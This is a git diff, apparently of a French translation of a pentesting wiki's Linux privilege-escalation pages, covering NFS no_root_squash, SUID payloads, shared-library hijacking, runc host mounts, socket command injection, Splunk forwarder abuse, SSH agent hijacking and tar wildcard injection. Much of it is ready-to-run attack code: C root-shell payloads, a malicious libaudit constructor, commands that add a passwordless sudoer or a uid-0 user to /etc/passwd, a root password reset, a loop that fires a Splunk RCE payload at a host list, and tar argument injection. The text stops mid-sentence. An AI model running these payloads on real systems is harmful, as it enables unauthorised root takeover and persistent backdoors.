+Avec **config.reload.automatic: true** dans **/etc/logstash/logstash.yml**, Logstash détectera et appliquera automatiquement les nouvelles configurations de pipeline ou les modifications sans nécessiter de redémarrage. S'il n'y a pas de caractère générique, des modifications peuvent toujours être apportées aux configurations existantes, mais il est conseillé de faire preuve de prudence pour éviter les interruptions. ## References diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 679d2a521..e2c450b91 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,19 +1,18 @@ {{#include ../../banners/hacktricks-training.md}} -Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no_root_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine. +Lisez le fichier _ **/etc/exports** _. Si vous trouvez un répertoire configuré en **no_root_squash**, alors vous pouvez **y accéder** **en tant que client** et **écrire à l'intérieur** de ce répertoire **comme** si vous étiez le **root** local de la machine. -**no_root_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications. +**no_root_squash** : Cette option donne essentiellement l'autorité à l'utilisateur root sur le client d'accéder aux fichiers sur le serveur NFS en tant que root. Cela peut entraîner de graves implications en matière de sécurité. -**no_all_squash:** This is similar to **no_root_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user. +**no_all_squash :** Cela est similaire à l'option **no_root_squash** mais s'applique aux **utilisateurs non-root**. Imaginez que vous avez un shell en tant qu'utilisateur nobody ; vérifiez le fichier /etc/exports ; l'option no_all_squash est présente ; vérifiez le fichier /etc/passwd ; émulez un utilisateur non-root ; créez un fichier suid en tant que cet utilisateur (en montant via nfs). Exécutez le suid en tant qu'utilisateur nobody et devenez un utilisateur différent. -# Privilege Escalation +# Élévation de privilèges -## Remote Exploit +## Exploit à distance -If you have found this vulnerability, you can exploit it: - -- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary. +Si vous avez trouvé cette vulnérabilité, vous pouvez l'exploiter : +- **Monter ce répertoire** sur une machine cliente, et **en tant que root copier** à l'intérieur du dossier monté le binaire **/bin/bash** et lui donner des droits **SUID**, puis **exécuter depuis la machine victime** ce binaire bash. ```bash #Attacker, as root user mkdir /tmp/pe @@ -26,9 +25,7 @@ chmod +s bash cd ./bash -p #ROOT shell ``` - -- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)). - +- **Monter ce répertoire** sur une machine cliente, et **en tant que root copier** à l'intérieur du dossier monté notre charge utile compilée qui abusent de la permission SUID, lui donner des droits **SUID**, et **exécuter depuis la machine victime** ce binaire (vous pouvez trouver ici quelques [charges utiles C SUID](payloads-to-execute.md#c)). ```bash #Attacker, as root user gcc payload.c -o payload @@ -42,61 +39,57 @@ chmod +s payload cd ./payload #ROOT shell ``` - ## Local Exploit > [!NOTE] -> Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\ -> The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.\ -> Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\ -> --_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_-- +> Notez que si vous pouvez créer un **tunnel de votre machine à la machine victime, vous pouvez toujours utiliser la version distante pour exploiter cette élévation de privilèges en tunnelant les ports requis**.\ +> Le truc suivant est dans le cas où le fichier `/etc/exports` **indique une IP**. Dans ce cas, vous **ne pourrez pas utiliser** en aucun cas l'**exploitation distante** et vous devrez **abuser de ce truc**.\ +> Une autre exigence requise pour que l'exploitation fonctionne est que **l'exportation à l'intérieur de `/etc/export`** **doit utiliser le drapeau `insecure`**.\ +> --_Je ne suis pas sûr que si `/etc/export` indique une adresse IP, ce truc fonctionnera_-- ## Basic Information -The scenario involves exploiting a mounted NFS share on a local machine, leveraging a flaw in the NFSv3 specification which allows the client to specify its uid/gid, potentially enabling unauthorized access. The exploitation involves using [libnfs](https://github.com/sahlberg/libnfs), a library that allows for the forging of NFS RPC calls. +Le scénario implique l'exploitation d'un partage NFS monté sur une machine locale, tirant parti d'un défaut dans la spécification NFSv3 qui permet au client de spécifier son uid/gid, ce qui peut permettre un accès non autorisé. L'exploitation implique l'utilisation de [libnfs](https://github.com/sahlberg/libnfs), une bibliothèque qui permet de forger des appels RPC NFS. ### Compiling the Library -The library compilation steps might require adjustments based on the kernel version. In this specific case, the fallocate syscalls were commented out. The compilation process involves the following commands: - +Les étapes de compilation de la bibliothèque peuvent nécessiter des ajustements en fonction de la version du noyau. Dans ce cas spécifique, les appels système fallocate ont été commentés. Le processus de compilation implique les commandes suivantes : ```bash ./bootstrap ./configure make gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ ``` +### Réalisation de l'Exploitation -### Conducting the Exploit +L'exploitation consiste à créer un simple programme C (`pwn.c`) qui élève les privilèges à root et exécute ensuite un shell. Le programme est compilé, et le binaire résultant (`a.out`) est placé sur le partage avec suid root, en utilisant `ld_nfs.so` pour falsifier le uid dans les appels RPC : -The exploit involves creating a simple C program (`pwn.c`) that elevates privileges to root and then executing a shell. The program is compiled, and the resulting binary (`a.out`) is placed on the share with suid root, using `ld_nfs.so` to fake the uid in the RPC calls: +1. **Compiler le code d'exploitation :** -1. **Compile the exploit code:** +```bash +cat pwn.c +int main(void){setreuid(0,0); system("/bin/bash"); return 0;} +gcc pwn.c -o a.out +``` - ```bash - cat pwn.c - int main(void){setreuid(0,0); system("/bin/bash"); return 0;} - gcc pwn.c -o a.out - ``` +2. **Placer l'exploitation sur le partage et modifier ses permissions en falsifiant le uid :** -2. **Place the exploit on the share and modify its permissions by faking the uid:** +```bash +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out +LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out +``` - ```bash - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/ - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out - LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out - ``` +3. **Exécuter l'exploitation pour obtenir des privilèges root :** +```bash +/mnt/share/a.out +#root +``` -3. **Execute the exploit to gain root privileges:** - ```bash - /mnt/share/a.out - #root - ``` - -## Bonus: NFShell for Stealthy File Access - -Once root access is obtained, to interact with the NFS share without changing ownership (to avoid leaving traces), a Python script (nfsh.py) is used. This script adjusts the uid to match that of the file being accessed, allowing for interaction with files on the share without permission issues: +## Bonus : NFShell pour un Accès Furtif aux Fichiers +Une fois l'accès root obtenu, pour interagir avec le partage NFS sans changer de propriétaire (pour éviter de laisser des traces), un script Python (nfsh.py) est utilisé. Ce script ajuste le uid pour correspondre à celui du fichier accédé, permettant d'interagir avec les fichiers sur le partage sans problèmes de permission : ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html @@ -104,23 +97,20 @@ import sys import os def get_file_uid(filepath): - try: - uid = os.stat(filepath).st_uid - except OSError as e: - return get_file_uid(os.path.dirname(filepath)) - return uid +try: +uid = os.stat(filepath).st_uid +except OSError as e: +return get_file_uid(os.path.dirname(filepath)) +return uid filepath = sys.argv[-1] uid = get_file_uid(filepath) os.setreuid(uid, uid) os.system(' '.join(sys.argv[1:])) ``` - -Run like: - +Exécuter comme : ```bash # ll ./mount/ drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/payloads-to-execute.md b/src/linux-hardening/privilege-escalation/payloads-to-execute.md index 37626a2de..6a4b55b52 100644 --- a/src/linux-hardening/privilege-escalation/payloads-to-execute.md +++ b/src/linux-hardening/privilege-escalation/payloads-to-execute.md @@ -1,22 +1,19 @@ -# Payloads to execute +# Charges utiles à exécuter {{#include ../../banners/hacktricks-training.md}} ## Bash - ```bash cp /bin/bash /tmp/b && chmod +s /tmp/b /bin/b -p #Maintains root privileges from suid, working in debian & buntu ``` - ## C - ```c //gcc payload.c -o payload int main(void){ - setresuid(0, 0, 0); //Set as user suid user - system("/bin/sh"); - return 0; +setresuid(0, 0, 0); //Set as user suid user +system("/bin/sh"); +return 0; } ``` @@ -27,9 +24,9 @@ int main(void){ #include int main(){ - setuid(getuid()); - system("/bin/bash"); - return 0; +setuid(getuid()); +system("/bin/bash"); +return 0; } ``` @@ -40,42 +37,38 @@ int main(){ #include int main(void) { - char *const paramList[10] = {"/bin/bash", "-p", NULL}; - const int id = 1000; - setresuid(id, id, id); - execve(paramList[0], paramList, NULL); - return 0; +char *const paramList[10] = {"/bin/bash", "-p", NULL}; +const int id = 1000; +setresuid(id, id, id); +execve(paramList[0], paramList, NULL); +return 0; } ``` +## Écraser un fichier pour élever les privilèges -## Overwriting a file to escalate privileges +### Fichiers courants -### Common files +- Ajouter un utilisateur avec un mot de passe à _/etc/passwd_ +- Changer le mot de passe dans _/etc/shadow_ +- Ajouter un utilisateur aux sudoers dans _/etc/sudoers_ +- Abuser de docker via le socket docker, généralement dans _/run/docker.sock_ ou _/var/run/docker.sock_ -- Add user with password to _/etc/passwd_ -- Change password inside _/etc/shadow_ -- Add user to sudoers in _/etc/sudoers_ -- Abuse docker through the docker socket, usually in _/run/docker.sock_ or _/var/run/docker.sock_ - -### Overwriting a library - -Check a library used by some binary, in this case `/bin/su`: +### Écraser une bibliothèque +Vérifiez une bibliothèque utilisée par un binaire, dans ce cas `/bin/su`: ```bash ldd /bin/su - linux-vdso.so.1 (0x00007ffef06e9000) - libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000) - libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000) - libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000) - libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000) - libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000) - /lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) +linux-vdso.so.1 (0x00007ffef06e9000) +libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000) +libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000) +libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000) +libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000) +libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000) +/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000) ``` - -In this case lets try to impersonate `/lib/x86_64-linux-gnu/libaudit.so.1`.\ -So, check for functions of this library used by the **`su`** binary: - +Dans ce cas, essayons d'usurper l'identité de `/lib/x86_64-linux-gnu/libaudit.so.1`.\ +Donc, vérifiez les fonctions de cette bibliothèque utilisées par le **`su`** binaire : ```bash objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_open @@ -83,9 +76,7 @@ objdump -T /bin/su | grep audit 0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message 000000000020e968 g DO .bss 0000000000000004 Base audit_fd ``` - -The symbols `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` and `audit_fd` are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit. - +Les symboles `audit_open`, `audit_log_acct_message`, `audit_log_acct_message` et `audit_fd` proviennent probablement de la bibliothèque libaudit.so.1. Comme la libaudit.so.1 sera écrasée par la bibliothèque partagée malveillante, ces symboles doivent être présents dans la nouvelle bibliothèque partagée, sinon le programme ne pourra pas trouver le symbole et se fermera. ```c #include #include @@ -102,34 +93,27 @@ void inject()__attribute__((constructor)); void inject() { - setuid(0); - setgid(0); - system("/bin/bash"); +setuid(0); +setgid(0); +system("/bin/bash"); } ``` - -Now, just calling **`/bin/su`** you will obtain a shell as root. +Maintenant, en appelant simplement **`/bin/su`**, vous obtiendrez un shell en tant que root. ## Scripts -Can you make root execute something? - -### **www-data to sudoers** +Pouvez-vous faire exécuter quelque chose par root ? +### **www-data dans sudoers** ```bash echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update ``` - -### **Change root password** - +### **Changer le mot de passe root** ```bash echo "root:hacked" | chpasswd ``` - -### Add new root user to /etc/passwd - +### Ajouter un nouvel utilisateur root à /etc/passwd ```bash echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md index e54915fa9..b6f32225b 100644 --- a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md @@ -1,33 +1,32 @@ -# RunC Privilege Escalation +# Escalade de privilèges RunC {{#include ../../banners/hacktricks-training.md}} -## Basic information +## Informations de base -If you want to learn more about **runc** check the following page: +Si vous souhaitez en savoir plus sur **runc**, consultez la page suivante : {{#ref}} ../../network-services-pentesting/2375-pentesting-docker.md {{#endref}} -## PE - -If you find that `runc` is installed in the host you may be able to **run a container mounting the root / folder of the host**. +## EP +Si vous constatez que `runc` est installé sur l'hôte, vous pourriez être en mesure de **lancer un conteneur en montant le dossier racine / de l'hôte**. ```bash runc -help #Get help and see if runc is intalled runc spec #This will create the config.json file in your current folder Inside the "mounts" section of the create config.json add the following lines: { - "type": "bind", - "source": "/", - "destination": "/", - "options": [ - "rbind", - "rw", - "rprivate" - ] +"type": "bind", +"source": "/", +"destination": "/", +"options": [ +"rbind", +"rw", +"rprivate" +] }, #Once you have modified the config.json file, create the folder rootfs in the same directory @@ -37,8 +36,7 @@ mkdir rootfs # The root folder is the one from the host runc run demo ``` - > [!CAUTION] -> This won't always work as the default operation of runc is to run as root, so running it as an unprivileged user simply cannot work (unless you have a rootless configuration). Making a rootless configuration the default isn't generally a good idea because there are quite a few restrictions inside rootless containers that don't apply outside rootless containers. +> Cela ne fonctionnera pas toujours car l'opération par défaut de runc est de s'exécuter en tant que root, donc l'exécuter en tant qu'utilisateur non privilégié ne peut tout simplement pas fonctionner (à moins que vous n'ayez une configuration sans root). Faire de la configuration sans root la valeur par défaut n'est généralement pas une bonne idée car il y a pas mal de restrictions à l'intérieur des conteneurs sans root qui ne s'appliquent pas en dehors des conteneurs sans root. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/selinux.md b/src/linux-hardening/privilege-escalation/selinux.md index 548f3d785..ef971e520 100644 --- a/src/linux-hardening/privilege-escalation/selinux.md +++ b/src/linux-hardening/privilege-escalation/selinux.md @@ -1,13 +1,12 @@ {{#include ../../banners/hacktricks-training.md}} -# SELinux in Containers +# SELinux dans les conteneurs -[Introduction and example from the redhat docs](https://www.redhat.com/sysadmin/privileged-flag-container-engines) +[Introduction et exemple des docs redhat](https://www.redhat.com/sysadmin/privileged-flag-container-engines) -[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) is a **labeling** **system**. Every **process** and every **file** system object has a **label**. SELinux policies define rules about what a **process label is allowed to do with all of the other labels** on the system. - -Container engines launch **container processes with a single confined SELinux label**, usually `container_t`, and then set the container inside of the container to be labeled `container_file_t`. The SELinux policy rules basically say that the **`container_t` processes can only read/write/execute files labeled `container_file_t`**. If a container process escapes the container and attempts to write to content on the host, the Linux kernel denies access and only allows the container process to write to content labeled `container_file_t`. +[SELinux](https://www.redhat.com/en/blog/latest-container-exploit-runc-can-be-blocked-selinux) est un **système de labellisation**. Chaque **processus** et chaque objet de système de fichiers a un **label**. Les politiques SELinux définissent des règles sur ce qu'un **label de processus est autorisé à faire avec tous les autres labels** sur le système. +Les moteurs de conteneurs lancent des **processus de conteneur avec un seul label SELinux confiné**, généralement `container_t`, puis définissent le conteneur à l'intérieur du conteneur pour être labellisé `container_file_t`. Les règles de politique SELinux disent essentiellement que les **processus `container_t` ne peuvent lire/écrire/exécuter que des fichiers labellisés `container_file_t`**. Si un processus de conteneur s'échappe du conteneur et tente d'écrire sur le contenu de l'hôte, le noyau Linux refuse l'accès et ne permet au processus de conteneur d'écrire que sur le contenu labellisé `container_file_t`. ```shell $ podman run -d fedora sleep 100 d4194babf6b877c7100e79de92cd6717166f7302113018686cea650ea40bd7cb @@ -15,9 +14,8 @@ $ podman top -l label LABEL system_u:system_r:container_t:s0:c647,c780 ``` +# Utilisateurs SELinux -# SELinux Users - -There are SELinux users in addition to the regular Linux users. SELinux users are part of an SELinux policy. Each Linux user is mapped to a SELinux user as part of the policy. This allows Linux users to inherit the restrictions and security rules and mechanisms placed on SELinux users. +Il existe des utilisateurs SELinux en plus des utilisateurs Linux réguliers. Les utilisateurs SELinux font partie d'une politique SELinux. Chaque utilisateur Linux est mappé à un utilisateur SELinux dans le cadre de la politique. Cela permet aux utilisateurs Linux d'hériter des restrictions et des règles de sécurité et des mécanismes imposés aux utilisateurs SELinux. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/socket-command-injection.md b/src/linux-hardening/privilege-escalation/socket-command-injection.md index 3b5a9002d..2d07c5f07 100644 --- a/src/linux-hardening/privilege-escalation/socket-command-injection.md +++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md @@ -1,9 +1,8 @@ {{#include ../../banners/hacktricks-training.md}} -## Socket binding example with Python - -In the following example a **unix socket is created** (`/tmp/socket_test.s`) and everything **received** is going to be **executed** by `os.system`.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible. +## Exemple de liaison de socket avec Python +Dans l'exemple suivant, un **socket unix est créé** (`/tmp/socket_test.s`) et tout ce qui est **reçu** va être **exécuté** par `os.system`. Je sais que vous ne trouverez pas cela dans la nature, mais le but de cet exemple est de voir à quoi ressemble un code utilisant des sockets unix et comment gérer l'entrée dans le pire des cas. ```python:s.py import socket import os, os.path @@ -11,34 +10,29 @@ import time from collections import deque if os.path.exists("/tmp/socket_test.s"): - os.remove("/tmp/socket_test.s") +os.remove("/tmp/socket_test.s") server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) server.bind("/tmp/socket_test.s") os.system("chmod o+w /tmp/socket_test.s") while True: - server.listen(1) - conn, addr = server.accept() - datagram = conn.recv(1024) - if datagram: - print(datagram) - os.system(datagram) - conn.close() +server.listen(1) +conn, addr = server.accept() +datagram = conn.recv(1024) +if datagram: +print(datagram) +os.system(datagram) +conn.close() ``` - -**Execute** the code using python: `python s.py` and **check how the socket is listening**: - +**Exécutez** le code en utilisant python : `python s.py` et **vérifiez comment le socket écoute** : ```python netstat -a -p --unix | grep "socket_test" (Not all processes could be identified, non-owned process info - will not be shown, you would have to be root to see it all.) +will not be shown, you would have to be root to see it all.) unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s ``` - -**Exploit** - +**Exploitation** ```python echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md index 11d4253c5..99f8674f7 100644 --- a/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md +++ b/src/linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md @@ -1,52 +1,50 @@ -# Splunk LPE and Persistence +# Splunk LPE et Persistance {{#include ../../banners/hacktricks-training.md}} -If **enumerating** a machine **internally** or **externally** you find **Splunk running** (port 8090), if you luckily know any **valid credentials** you can **abuse the Splunk service** to **execute a shell** as the user running Splunk. If root is running it, you can escalate privileges to root. +Si vous **énumérez** une machine **en interne** ou **en externe** et que vous trouvez **Splunk en cours d'exécution** (port 8090), si vous avez la chance de connaître des **identifiants valides**, vous pouvez **exploiter le service Splunk** pour **exécuter un shell** en tant qu'utilisateur exécutant Splunk. Si root l'exécute, vous pouvez élever les privilèges à root. -Also if you are **already root and the Splunk service is not listening only on localhost**, you can **steal** the **password** file **from** the Splunk service and **crack** the passwords, or **add new** credentials to it. And maintain persistence on the host. +De plus, si vous êtes **déjà root et que le service Splunk n'écoute pas uniquement sur localhost**, vous pouvez **voler** le fichier **de mot de passe** **du** service Splunk et **craquer** les mots de passe, ou **ajouter de nouveaux** identifiants. Et maintenir la persistance sur l'hôte. -In the first image below you can see how a Splunkd web page looks like. +Dans la première image ci-dessous, vous pouvez voir à quoi ressemble une page web Splunkd. -## Splunk Universal Forwarder Agent Exploit Summary +## Résumé de l'Exploitation de l'Agent Splunk Universal Forwarder -For further details check the post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). This is just a sumary: +Pour plus de détails, consultez le post [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/). Ceci est juste un résumé : -**Exploit Overview:** -An exploit targeting the Splunk Universal Forwarder Agent (UF) allows attackers with the agent password to execute arbitrary code on systems running the agent, potentially compromising an entire network. +**Aperçu de l'Exploitation :** +Une exploitation ciblant l'Agent Splunk Universal Forwarder (UF) permet aux attaquants disposant du mot de passe de l'agent d'exécuter du code arbitraire sur les systèmes exécutant l'agent, compromettant potentiellement un réseau entier. -**Key Points:** +**Points Clés :** -- The UF agent does not validate incoming connections or the authenticity of code, making it vulnerable to unauthorized code execution. -- Common password acquisition methods include locating them in network directories, file shares, or internal documentation. -- Successful exploitation can lead to SYSTEM or root level access on compromised hosts, data exfiltration, and further network infiltration. +- L'agent UF ne valide pas les connexions entrantes ni l'authenticité du code, ce qui le rend vulnérable à l'exécution non autorisée de code. +- Les méthodes courantes d'acquisition de mots de passe incluent leur localisation dans des répertoires réseau, des partages de fichiers ou de la documentation interne. +- Une exploitation réussie peut conduire à un accès au niveau SYSTEM ou root sur des hôtes compromis, à l'exfiltration de données et à une infiltration réseau supplémentaire. -**Exploit Execution:** +**Exécution de l'Exploitation :** -1. Attacker obtains the UF agent password. -2. Utilizes the Splunk API to send commands or scripts to the agents. -3. Possible actions include file extraction, user account manipulation, and system compromise. +1. L'attaquant obtient le mot de passe de l'agent UF. +2. Utilise l'API Splunk pour envoyer des commandes ou des scripts aux agents. +3. Les actions possibles incluent l'extraction de fichiers, la manipulation de comptes utilisateurs et la compromission du système. -**Impact:** +**Impact :** -- Full network compromise with SYSTEM/root level permissions on each host. -- Potential for disabling logging to evade detection. -- Installation of backdoors or ransomware. - -**Example Command for Exploitation:** +- Compromission complète du réseau avec des permissions au niveau SYSTEM/root sur chaque hôte. +- Potentiel de désactivation des journaux pour échapper à la détection. +- Installation de portes dérobées ou de ransomwares. +**Commande Exemple pour l'Exploitation :** ```bash for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done ``` - -**Usable public exploits:** +**Exploits publics utilisables :** - https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2 - https://www.exploit-db.com/exploits/46238 - https://www.exploit-db.com/exploits/46487 -## Abusing Splunk Queries +## Abus des requêtes Splunk -**For further details check the post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)** +**Pour plus de détails, consultez le post [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md index 774e13999..ac3cdbe5f 100644 --- a/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md +++ b/src/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md @@ -1,30 +1,26 @@ {{#include ../../banners/hacktricks-training.md}} -# Summary - -What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this: +# Résumé +Que pouvez-vous faire si vous découvrez à l'intérieur de `/etc/ssh_config` ou à l'intérieur de `$HOME/.ssh/config` cette configuration : ``` ForwardAgent yes ``` +Si vous êtes root sur la machine, vous pouvez probablement **accéder à toute connexion ssh effectuée par n'importe quel agent** que vous pouvez trouver dans le _/tmp_ répertoire -If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory - -Impersonate Bob using one of Bob's ssh-agent: - +Usurpez l'identité de Bob en utilisant l'un des ssh-agent de Bob : ```bash SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston ``` +## Pourquoi cela fonctionne-t-il ? -## Why does this work? +Lorsque vous définissez la variable `SSH_AUTH_SOCK`, vous accédez aux clés de Bob qui ont été utilisées dans la connexion ssh de Bob. Ensuite, si sa clé privée est toujours là (normalement, elle le sera), vous pourrez accéder à n'importe quel hôte en l'utilisant. -When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there (normally it will be), you will be able to access any host using it. +Comme la clé privée est sauvegardée dans la mémoire de l'agent non cryptée, je suppose que si vous êtes Bob mais que vous ne connaissez pas le mot de passe de la clé privée, vous pouvez toujours accéder à l'agent et l'utiliser. -As the private key is saved in the memory of the agent uncrypted, I suppose that if you are Bob but you don't know the password of the private key, you can still access the agent and use it. +Une autre option est que l'utilisateur propriétaire de l'agent et root puisse accéder à la mémoire de l'agent et extraire la clé privée. -Another option, is that the user owner of the agent and root may be able to access the memory of the agent and extract the private key. +# Explication longue et exploitation -# Long explanation and exploitation - -**Check the [original research here](https://www.clockwork.com/insights/ssh-agent-hijacking/)** +**Vérifiez la [recherche originale ici](https://www.clockwork.com/insights/ssh-agent-hijacking/)** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md index d497174d6..f59e966da 100644 --- a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md +++ b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md @@ -2,71 +2,59 @@ ## chown, chmod -You can **indicate which file owner and permissions you want to copy for the rest of the files** - +Vous pouvez **indiquer quel propriétaire de fichier et quelles permissions vous souhaitez copier pour le reste des fichiers** ```bash touch "--reference=/my/own/path/filename" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_\ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +Vous pouvez exploiter cela en utilisant [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(attaque combinée)_\ +Plus d'infos dans [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) ## Tar -**Execute arbitrary commands:** - +**Exécuter des commandes arbitraires :** ```bash touch "--checkpoint=1" touch "--checkpoint-action=exec=sh shell.sh" ``` - -You can exploit this using [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\ -More info in [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) +Vous pouvez exploiter cela en utilisant 